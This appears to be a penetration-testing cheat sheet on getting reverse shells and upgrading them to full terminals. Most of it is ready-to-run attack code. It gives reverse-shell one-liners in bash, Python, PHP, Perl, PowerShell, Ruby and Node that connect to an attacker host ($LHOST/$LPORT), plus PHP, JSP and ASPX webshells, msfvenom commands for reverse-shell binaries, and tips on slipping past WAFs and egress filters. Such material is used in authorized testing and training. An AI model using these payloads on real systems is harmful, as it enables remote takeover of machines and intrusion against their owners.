NoorQureshi Reverse shells & TTY upgrade
When it applies
You have command execution and want an interactive shell on an authorized target. Pick the payload
that matches what's installed on the victim, catch it on a listener, then upgrade it so editors,
job control, and tab-completion work. $LHOST/$LPORT below are your attacker IP and port.
Why it works
A reverse shell makes the victim connect out to you (beating inbound firewalls); a bind shell listens on the victim (use only when you can't receive connections). The victim's shell inherits no PTY, so it's "dumb" until you attach one — the upgrade step gives you a full terminal.
Method
1 · Listener (pick one):
nc -lvnp $LPORT # basic
rlwrap nc -lvnp $LPORT # arrow keys / history
socat file:`tty`,raw,echo=0 tcp-listen:$LPORT # fully interactive catcher
pwncat-cs -lp $LPORT # auto-upgrades the shell for you
2 · Payload — match it to what the victim has:
# bash
bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
# python3
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("$LHOST",$LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'
# php
php -r '$s=fsockopen("$LHOST",$LPORT);exec("bash <&3 >&3 2>&3");'
# perl
perl -e 'use Socket;$i="$LHOST";$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");'
# powershell (one line; -e base64 form for filters)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$LHOST',$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sn=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sn,0,$sn.Length);$s.Flush()}"
Others when those are missing: ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("$LHOST",$LPORT))',
Node require('child_process').exec('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"'),
Runtime.getRuntime().exec(...) (Java), Groovy (Jenkins script console), Lua os.execute(...).
3 · Webshells when the sink is a file you can reach over HTTP:
<?php system($_GET['cmd']); ?> <!-- PHP -->
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> <!-- JSP -->
(ASPX: Process.Start("cmd.exe","/c "+Request["cmd"]).) Use the webshell to launch a payload above.
4 · Filters/WAF → base64 or URL-encode the bash one-liner, or use powershell -enc <b64-UTF16LE>;
see payloads-waf-bypass.
5 · Compiled payloads with msfvenom when you need a file/binary:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o s.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o s.exe
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o s.war # Tomcat
6 · Upgrade the dumb shell to a real TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")' # then:
# Ctrl-Z
stty raw -echo; fg # re-attach with raw mode
export TERM=xterm; export SHELL=/bin/bash
stty rows 40 cols 160 # match your window (fixes editors)
Gotchas
- The plain
bash -i >& /dev/tcp/...needs bash —/bin/sh(dash) won't do/dev/tcp; wrap asbash -c '...'or use another language. - Quote/escape for the sink — inside a web param or YAML, encode special chars; a raw
&/|/space often breaks the injection before it runs. - Reverse blocked by egress filtering → try common outbound ports (443/53), or a bind shell.
- Shell dies on Ctrl-C until upgraded — do the TTY upgrade before running interactive tools.
- Prefer
pwncat-cs/socatfor stability on long sessions; note the listener port in your log.
Verify success
An interactive prompt on the target where id/whoami runs, Ctrl-C and tab-completion work, and an
editor (vi) renders correctly — a stable shell to work from.
References
PayloadsAllTheThings (Reverse Shell Cheat Sheet); revshells.com; pwncat-cs, socat docs.
Related: payloads-file-transfers, payloads-waf-bypass, privesc-arsenal.